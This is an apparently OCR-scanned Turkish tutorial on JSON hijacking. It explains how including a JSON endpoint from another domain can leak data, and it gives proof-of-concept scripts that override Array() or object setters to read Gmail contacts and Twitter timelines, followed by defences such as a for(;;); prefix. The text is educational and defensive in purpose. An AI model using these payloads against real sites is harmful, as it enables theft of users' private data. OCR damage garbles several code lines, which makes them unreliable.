JSON Korsanligi
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internetin giin gectikce hayatimizdaki 6nemi artti ve web siteleri milyonlarca insan
tarafindan girilen yerler haline geldi. Artik gevremizden ya da medyadan tanidigimiz bir ¢cok
insanin Facebook, LinkedIn ve Twitter hesabi mevcut.

Bu gelisme beraberinde web teknolojilerinde de bir ¢ok gelismeyi tetikledi ve daha dinamik,
kullanici ile etkilesimi daha (st dizeyde tutan teknolojiler 6n plana ¢ikti. Tim bunlar web2.0
konsepti altinda bir araya getirildi. Bu teknolojilerin basinda da AJAX gelmektedir.

AJAX, web2.0 konseptindeki web sitelerinde kullanilan, olmazsa olmaz bir teknolojidir.

0x01 : AJAX Nedir ?
Wikipedia ‘dan aldigimiz tanim su sekildedir:

AJAX (ingilizce:Asynchronous JavaScript and XML), internet sayfalarinda JavaScript ve
XMLHttpRequest kullanimi ile etkilesimli uygulamalar yaratan teknigin adidir.

Biraz daha acacak olursak, internet sayfalarinda kullanilan bu teknik Uzerinde calistig
tarayicinin Javascript motorunu (XMLHttpRequest) kullanarak baska kaynaklar ile iletisim
kurar, veri alir ve/veya gonderebilir.

AJAX programlama teknigini kullanirken 6n tanimli veri aktarim dili XML’dir. Lakin JSON isimli
veri formati Javascript ile ¢alisirken programmatik avantajlar sagladigindan tercih sebebidir.

0x02 : Sorun Nereden Basliyor ?

Farkh alan adlari ile Javascript motorunun etkilesimi tarayici givenliginin her daim 6nemli
konularindan biri olmustur. XMLHTTPRequest objesi ile farkli bir alan adina HTTP istegi yapip
cevabi gormek pratik atak sanslari yarattigi icin glinimiz tarayicilarinda mimkiin degildir.
Fakat HTML motoru ile farkh alan adlarina istek yapmak mimkiin olabilmektedir.

<script src=http://www.xyz.com/resource.js type="text/javascript” />

Bu HTML kodu, hangi alan adinin konteksinde calisirsa ¢alissin, ilgili adresteki kaynaga
erisebilecektir. S6z konusu istek tarayici tarafindan yapilacagi igin, uzaktaki kaynaga tarayici
Uzerindeki kimlik bilgileri (cerezler vs.) ile erisilecektir.

0x03 : JSON Hijacking
JSON Korsanhgi 2006 yilindan beri bilinmekte olan bir problemdir ve Firefox 3.5.7, IE 8.0
Uzerinde artik bulunmamakta, Chrome’da ise ikinci teknik hala ¢alismaktadir.

Burada iki yaklasimdan bahsedecegim:
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1. Array() constructor’ini yeniden yazmak.
2. Objenin setter’ini yeniden yazmak.

Constructor’r Yeniden Yazmak

Karsi kaynaktan gelecek olan JSON verisinin ilklendirilmesi (initizalition) icin Javascript
motoru Array() constructor'unu cagirir ve ilklendirme islemini bitirir. Javascript dilinde,
Array() constructor’inin lizerine yazilmasi sonucu veriye erisim mimkindir. Kendinize yeni
bir Array() constructor’'u yazarak hassas veriyi elde edebilirsiniz. Artik bir ¢ok modern
tarayicida Array() constructor’u yeniden yazilamamaktadir.

S6z konusu zafiyet 2006 yilinda Gmail tGzerinde bulunmustur[1]. Asagidaki Javascript kodu ile
kurban kullanicinin (bu HTML sayfasini goriintileyen kullanici) kontakt bilgilerini galmak
mUmkindu.

<script src="http://mail.google.com/mail/?_url_scrubbed_">
var table = document.createElement('table’');

table.id = 'content’;

table.cellPadding = 3;

table.cellSpacing = 1;

table.border = 0;

function Array() {

var obj = this;

varind =0;

var getNext;

getNext = function(x) {

obj[ind++] setter = getNext;

if(x) {

var str = x.toString();

if ((str 1="ct') &&amp;amp;amp;amp; (typeof x !="object’) && (str.match(/@/))) {
var row = table.insertRow(-1);

var td = row.insertCell(-1);

td.innerHTML = str;
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this[ind++] setter = getNext;

}

function readGMail() {
document.body.appendChild(table);

}

Kodda da gorildigi tzere ilk satirda kontakt bilgileri sayfanin konteksine eklenmis, Array()
constructor’'u yeniden vyazilarak erisim saglanmis ve ilgili kontakt bilgileri ekrana
bastiriimistir.

Nesnenin Setter’ini Yeniden Yazmak
Nesneye dayal programlama felsefesinde bir sinifa ait her 6zelligin bir adet Getter ve Setter’i
vardir. Getter 6zelligin degerini dondiiriirken, setter 6zellige deger atamaya yarar.

S6z konusu uzak nesneye erismenin diger bir yolu ise nesnenin setter’ini yeniden yazmaktir.
Diyelim ki s6z konusu JSON verisi su sekilde olsun:

[{"name":"Mesut", "email":"mesut@h-labs.org" },

{"name":"Bedirhan","emai

In_n

urgunb@hotmail.com" },
{"name":"Ferruh", "email":"ferruh@mavituna.com" }]

Burada JSON verisine erismek icin “name” ve “email” objelerinin setter’lari yeniden
yazilmahdir. Su sekilde yapilabilir:

<html>

<head>

</head>

<body>

<script type="text/javascript">
Object.prototype.__defineSetter__('name’, function(obj){alert(obj);});

</script>
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<script src="http://www.xyz.com/important.json" type="text/javascript">
</script>

<h1>hello everybody</h1>

</body>

</html>

Yukaridaki HTML kodun altinci satirinda ‘name’ objesinin setter’i icin inline bir fonksiyon
yaziliyor ve o fonksiyon gelen veriyi ekrana basiyor. Sekizinci satirda ise JSON datasi
getiriliyor ve Javascript motoru, bizim tanimladigimiz setter ‘i cagiriyor.

Bu teknik Chrome 4.0.249.89 ile calismaktadir.

2009 yilinda bu teknik ile Twitter lizerinde zafiyet tespit edilmistir[2]. ilgili zafiyetin PoC'si su
sekildedir:

<script>

Object.prototype. _defineSetter__ ('user',function(obj){for(vari in obj) {alert(i + '=" +

obj[i]);} });
</script>
<script src=https://twitter.com/statuses/friends_timeline/>
</script>

0x04 : Risk & Coziimler

Yazinin yukaridaki bolimlerinde de belirtildigi Gzere Array() constructor’ini yeniden yazmak
Chrome 4.0.249.89 , Firefox 3.5.7 ve IE 8.0 ile miimkiin degildir. Nesnenin setter’ini yeniden
yazmak ise sadece Chrome 4.0.249.89 lzerinde ¢alismaktadir. Bu durumda bu atak vektéri
icin sadece Chrome kullanan istemciler tehlike altindadir.

JSON Korsanligi’'ni 6nlemek igin farkl ¢6ziim onerileri mevcuttur. Popller bir ¢6ziim 6nerisi
JSON verisinin 6nline sonsuz bir dongi koymaktir.

for(;;);
[{"name":"Mesut", "email":"mesut[at]h-labs.org" },

"name":"Bedirhan","email":"urgunb[at]hotmail.com" },

"name":"Ferruh", "email":"ferruh[at]mavituna.com" }]
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Saldirgan bu veriyi kedi sayfasina eklemeye calisinca, setter calismadan 6nce sonsuz dongliye
girecek ve veriye ulasamayacaktir.

Bu veriyi kullanacak kod ise, dncelikli olarak XMLHttpRequest objesi ile bu verinin igerigini
getirmeli ve ilk satir sildikten sonra eval() fonksiyonuna yollayarak ¢alismasini saglamahidir.

Diger bir ¢dzim Onerisi de veriyi JSON degil ama ona yakin bir formatta tutmak. Zira
yapilabilecek ufak degisiklikler ile JSON’a c¢evirip tekrar JSON’un programmatik
avantajlarindan faydalanilabilir.

XMLHTTPRequest nesnesinin farkli alan adlan ile etkilesimindeki limitasyonun faydasini
tekrar anliyoruz.

0x05 : Hikayenin Devami
Oniimiizdeki yazida Javascript Korsanligi ile konuyu devam ettirecegim.

0x06 : Referanslar
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